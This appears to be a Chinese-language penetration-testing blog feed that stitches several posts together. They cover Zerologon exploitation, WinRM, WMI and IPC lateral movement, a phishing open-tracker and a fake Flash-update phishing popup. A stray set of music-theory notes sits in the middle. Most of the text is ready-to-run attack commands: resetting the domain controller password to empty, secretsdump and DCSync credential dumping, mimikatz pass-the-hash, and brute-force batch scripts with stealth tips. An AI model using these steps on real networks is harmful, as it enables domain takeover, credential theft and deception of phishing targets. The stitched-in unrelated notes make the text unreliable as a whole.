脱域后,可以使用powershell来强制同步,一次性重置计算机的机器帐户密码。(包括AD,注册表,lsass里面的密码)。
1 | powershell Reset-ComputerMachinePassword |
1 | 域:AAAA.COM |
https://github.com/SecuraBV/CVE-2020-1472
1 | python3 zerologon_tester.py LX-DC01 192.168.1.4 |
1 | git clone https://github.com/SecureAuthCorp/impacket.git |
https://github.com/risksense/zerologon - set_empty_pw.py
1 | python3 set_empty_pw.py LX-DC01 192.168.1.4 |
1 | python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass |
1 | python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe AAAA.COM/administrator@192.168.1.4 |
1 | reg save HKLM\SYSTEM system.save |
1 | get system.save |
坑点:这一步有可能python出现编码错误导致不能下载
1 | 不同语言的编码不同,可以先获取下语言然后搜对应编码 |
也可使用net use将文件copy回来
1 | mimi注入hash到cmd |
1 | del /f system.save |
1 | python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
建议使用:
脚本有可能会缺少xxx包导致报错,还没整明白啥原因
https://github.com/mstxq17/cve-2020-1472 - restorepassword.py
1 | python3 restorepassword.py aaaa.com/LX-DC01@LX-DC01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960 |
不建议使用:
比较暴力,会再打一次,计算密码的时候使用了空密码的hash去计算session_key
https://github.com/risksense/zerologon - reinstall_original_pw.py
1 | python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH |
1 | shell C:\Intel\mimikatz.exe "lsadump::zerologon /target:192.168.1.4 /account:LX-DC01$" "exit" |
1 | lsadump::zerologon /target:192.168.1.4 /account:LX-DC01$ |
1 | shell C:\Intel\mimikatz.exe "lsadump::zerologon /target:LX-DC01.AAAA.COM /account:LX-DC01$ /exploit" "exit" |
1 | lsadump::zerologon /target:LX-DC01.AAAA.COM /account:LX-DC01$ /exploit |
1 | shell C:\Intel\mimikatz.exe "lsadump::dcsync /domain:AAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAA /authpassword: /authntlm" "exit" |
1 | lsadump::dcsync /domain:AAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAA /authpassword: /authntlm |
1 | shell C:\Intel\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:AAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe" "exit |
1 | privilege::debug |
1 | shell C:\Intel\mimikatz.exe "lsadump::postzerologon /target:192.168.1.4 /account:LX-DC01$" "exit" |
1 | lsadump::postzerologon /target:192.168.1.4 /account:LX-DC01$ |
乐理基础学习笔记。
1 | 通常底鼓每响一次则为一拍,一拍就是音乐中用来定义音的长度的单位,但是根据曲作者的要求,这个基本单位的时长也是可以变化的。 |
1 | bpm - beats per minute {每分钟多少拍} |
1 | 于小节的概念你可以这么理解,它就像是你写一个曲子最基本的节奏循环单位。比如圆舞曲,很多都是三拍子的,所以跳起舞来可以有一哒哒,二哒哒,三哒哒,这样的感觉。这就是节奏的意思了。 |
1 | 通常音乐大部分为4/4拍 |
1 | 全音符、二分音符、四分音符(时间长度 = 一拍) |
1 | 从0开始数 |
1 | 从1开始数 |
三度叠置
1 | 大三和弦+大七度 |
1 | 小三和弦+小七度 |
1 | 大三和弦+小七度 |
1 | 小三和弦+大七度 |
1 | 和声连接、调的关系、深入理解音程、即兴演奏 |
大调欢快,小调悲伤
1 | C大调是a小调的关系大调,a小调是C大调关系小调。 |
好的鱼竿和诱饵固然重要,但真正把鱼儿和渔夫联系起来的是小小的浮漂。
平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,此探针可以判断目标是否点击了邮件,不至于那么的苦等。
本程序通过php中的readfile() 函数读取本地图片,如使用自定义图片请替换public目录下的info.png,这里的图片可以使用目标公司的logo。
基于ThinkPHP 6开发
运行环境要求Apache和PHP7.1+
数据库文件为mail.sql
数据库及其他配置修改env文件即可,默认为
1 | APP_DEBUG = false |
后台默认账号密码(密码修改直接替换库中MD5即可)
1 | admin|123456 |
@c1y2m3 分享的思路
]]>还是那句话:Flash永远滴神~
一直想写个界面精致点的Flash钓鱼,奈何各种效果实现起来实在是有点麻烦,正好发现了layer这个牛逼的弹层组件,一开始直接用的图片,几行代码就搞定了,但是还是不够完美,后来发到T00ls大家集思广益,提出了一些非常好的建议,几次修改后才有了如下的最终版。
在线预览:http://flash-pop.se7ensec.cn/
有人说flash不好用了,感觉分析好对面是干啥的,做好一些自动化、定制化的工作,上线率其实还是挺高的。
]]>基于winRM的横向移动
WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。
作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。
WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。
注意:必须配置并运行WinRM服务才能接受远程连接。WinRM接受连接可能还需要几个步骤。请参阅这篇 Pentest Lab 文章 以了解更多信息。
※ winRM横向移动同时适用于工作组和域环境。
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。
只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
WinRM状态查询
1 | PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} |
开启可以使用下面其中一条命令即可
1 | winrm quickconfig -q #这条命令运行后会自动添加防火墙例外规则,放行5985端口。 |
再次查询
1 | PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} |
默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:
1 | winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} |
1)查看WinRM具体配置
1 | winrm get winrm/config |
2)允许所有客户端IP连接
1 | winrm set winrm/config/Client @{TrustedHosts="*"} |
远程连接时可能会遇到以下错误
1 | Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。 |
在你的攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可
1 | C:\Users\Administrator>winrm set winrm/config/Client @{TrustedHosts="*"} |
1 | C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami |
1 | C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% cmd |
使用WSMan.Automation COM对象通过WinRM执行远程命令。
https://github.com/bohops/WSMan-WinRM
模块功能 | 目标端口 | 目标系统 | 使用教程 |
---|---|---|---|
Winrm爆破 | 5985/5986端口 | Windows | http://k8gege.org/Ladon/WinrmScan.html |
WinrmExec | 5985 | Windows | http://k8gege.org/Ladon/WinrmExec.html |
如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389
将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下
1)配置目标WinRM服务,更改监听端口开启复用
1 | winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} |
2)链接目标
1 | winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami |
该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。
http://t3ngyu.leanote.com/post/LM-WinRM-WinRS
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
]]>“成就他人是一个伟大的行为,我将贯彻到底。” ——hl0rey
作为天天肾透,日日肾虚的我们,常常需要借助各种各样的在线网站来进行信息收集、加密解密、数据处理…
随着浏览器收藏夹分类越来越多,找到网址然后打开得操作越来越觉得麻烦,便花了一些时间来整理了下做成了一个导航页,页面内容不定期会保持更新。
也不用担心某一类型重复得网站太多,不知道用哪个好,基本上贴上去得我自己全部都使用过,备注 ”推荐“ 的就是用起来感觉不错得。
个人认为通过在线网站各种功能,完成信息收集60%的工作是完全没问题的,希望可以对看文章的你有所帮助~
在线工具 - 肾透测试中心 - https://gitbook.se7ensec.cn/
]]>基于WMI的横向移动
WMI
的全称是 Windows Management Instrumentation
,它出现在所有的 Windows
操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows
系统,攻击者使用wmi
来进行攻击,但 Windows
系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用wmic
进行远程执行命令。
远程服务器启动Windows Management Instrumentation
服务(默认开启)
135
端口未被过滤 [默认配置下目标主机防火墙开启将无法连接]
1 | 1.开启防火墙时,允许共享例外 |
1 | 1.列出远程主机进程 |
wmi的爆破经过实践,错误次数3次以上,360会拦截【无杀软时没有测试】,记录日志为远程rdp爆破,并暂时限制wmi的连接。
※以下为单密码爆破,有爆破多个密码爆破的需求的话,可以根据ipc横向移动那篇自行修改
坑点:需注意特殊字符,如密码中有 %
需要用 %
来转义,例 :123#$%
应转化为 123#$%%
1 | @echo off |
没有使用过,暂未测试
wmiexec.vbs
是为了解决wmic
无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显 ”执行命令的结果“ 和获取 ”半交互式的 shell“ 。
1 | cscript wmiexec.vbs /cmd 192.168.1.1 administrator test@123 whoami |
优点:支持pth
缺点:他的使用需要调用wmi服务,占用目标的445、135和另一个随机端口。
使用参考:域渗透——Pass The Hash的实现 (3gstudent.github.io)
这是一个基于135
端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi
来执行命令,通过调用来进行数据传输。
优点:只依赖135
端口,不依赖139
和445
端口
缺点:目前只支持上传512kb以下的文件,因为重置每个值的长度不能超过512kb。执行命令和上传文件都依赖powershell(被360拦截了)
https://github.com/QAX-A-Team/sharpwmi
https://github.com/idiotc4t/sharpwmi
这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输。
免杀横向渗透远程命令执行,常见的WMIEXEC
、PSEXEC
执行命令是创建服务或调用Win32_Process.create
执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER
免杀横向移动测试工具。(只依赖135
端口,不依赖139
和445
端口)
重要:支持pth -> https://github.com/360-Linton-Lab/WMIHACKER/issues/1
主要功能:1、命令执行;2、文件上传;3、文件下载
https://github.com/360-Linton-Lab/WMIHACKER
模块功能 | 目标端口 | 目标系统 | 使用教程 |
---|---|---|---|
WMI爆破 | 135端口 | Windows | http://k8gege.org/Ladon/WmiScan.html |
WMI-NtlmHash爆破 | 135端口 | Windows | http://k8gege.org/Ladon/WmiHashScan.html |
WmiExec(推荐) | 135端口 | Windows | 只需135端口通过注册表回显,不像Impacket或其它工具还依赖445,不依赖PowerShell,适用于任意目标 |
WmiExec2 | 135端口 | Windows | 和WmiExec一样只需135端口通过注册表回显,但依赖PowerShell,无PowerShell的目标可能不适用 |
没有使用过,暂未测试
https://github.com/checkymander/Sharp-WMIExec
没有使用过,暂未测试
]]>基于IPC的横向移动
文章内容引用较多,尽量不说废话,注明链接的地方,请自行阅读并理解。
IPC$(Internet Process Connection)
是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$
,连接者可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
IPC$
连接可以实现远程登陆及对默认共享的访问,而139
端口的开启表示netbios
协议的应用。我们可以通过139
和445
端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$
连接是需要139
或445
端口来支持的。
注: Windows
系统中的net use ipc$
整个通信过程,先445->137->139
验证,当你开启防火墙禁用445
,发现系统命令就无法连接IPC
了,因为根本没机会走到139
,所以使用系统自带命令连接的ipc$
需要同时开启这些端口 ,参考自K8gege.org
。
默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(C$,D$,E$...)
和系统目录WINNT
或WINDOWS(ADMIN$)
,我们通过IPC
连接可以实现对这些默认共享的访问。
1 | C:\Users\Administrator>net share |
这个不多说,很多文章没有介绍,是一个坑点:传送门-关于IPC和PTH用户权限问题
※即默认情况下只有域管用户有权限对admin$
目录建立IPC
连接,其实本地的Administrator
用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator
用户远程连接
1 | 错误号 5,拒绝访问【很可能你使用的用户不是管理员权限的,先提升权限】 |
1 | 0.建立空连接 |
内网中爆破弱口令时首选的便是使用ipc
,爆破错误次数一般也不会做限制,但是一定要注意爆破成功的结果是否为匿名权限的ipc
连接。
弱口令爆破这种手段在在内网中是一把双刃剑,如果公司领导未过于重视网络安全的话,导致信息安全部地位低下、资金有限,那么在缺乏安全设备监控与员工网络安全意识低下的情况下,在内网进行弱口令爆破是一件非常高效地事情,如大部分的央企、国企二级单位。
但另一方面,如果该公司确实在网络安全方面投入较大人力财力,那么弱口令爆破无异于自杀。
弱口令字典可由部分简单口令和部分复杂规则口令与企业名称+年份组成,如12345678
,000000
,1q2w3e4r
,1qaz2wsx
,baidu@2020
,baidu@123
等,不宜超过100条且建议单线程慢速爆破,避免被拦截。
使用说明:
1 | ip.txt 放入要爆破的IP |
坑点:需注意特殊字符,如密码中有 %
需要用 %
来转义,例 :123#$%
应转化为 123#$%%
1.给定多个密码爆破
1 | @echo off |
2.固定密码
1 | @echo off |
温馨小提示:有杀软的内网环境中,尽量用windows
自带功能来完成需求,使用工具要慎重,一定要本地做好测试在丢到目标上运行。
不推荐,很容易就被杀软拦截,微软官方pstools
域渗透学习(五)基于IPC的远程连接: https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%94%EF%BC%89%E5%9F%BA%E4%BA%8EIPC%E7%9A%84%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/
更多的连接方式还有 smbexec
、psexec
、atexec
, 都可在github社区中找到,比较简单的就是在 impacket
工具
包找到相关文件,使用方法自行查阅帮助文档,这里不再赘述。
python版:https://github.com/SecureAuthCorp/impacket
exe版:https://github.com/ropnop/impacket_static_binaries/releases v0.9.19稳
Impacket套件之远程命令执行功能讲解: https://mp.weixin.qq.com/s/kVTAe2BLya-lwOXzKdvHGA
模块功能 | 目标端口 | 目标系统 | 使用教程 |
---|---|---|---|
SMB爆破/IPC/共享 | 445端口 | Windows | http://k8gege.org/Ladon/SmbScan.html |
Netbios爆破 | 139端口 | Windows | http://k8gege.org/Ladon/NbtScan.html |
SMB-NtlmHash爆破 | 445端口 | Windows | http://k8gege.org/Ladon/SmbHashScan.html |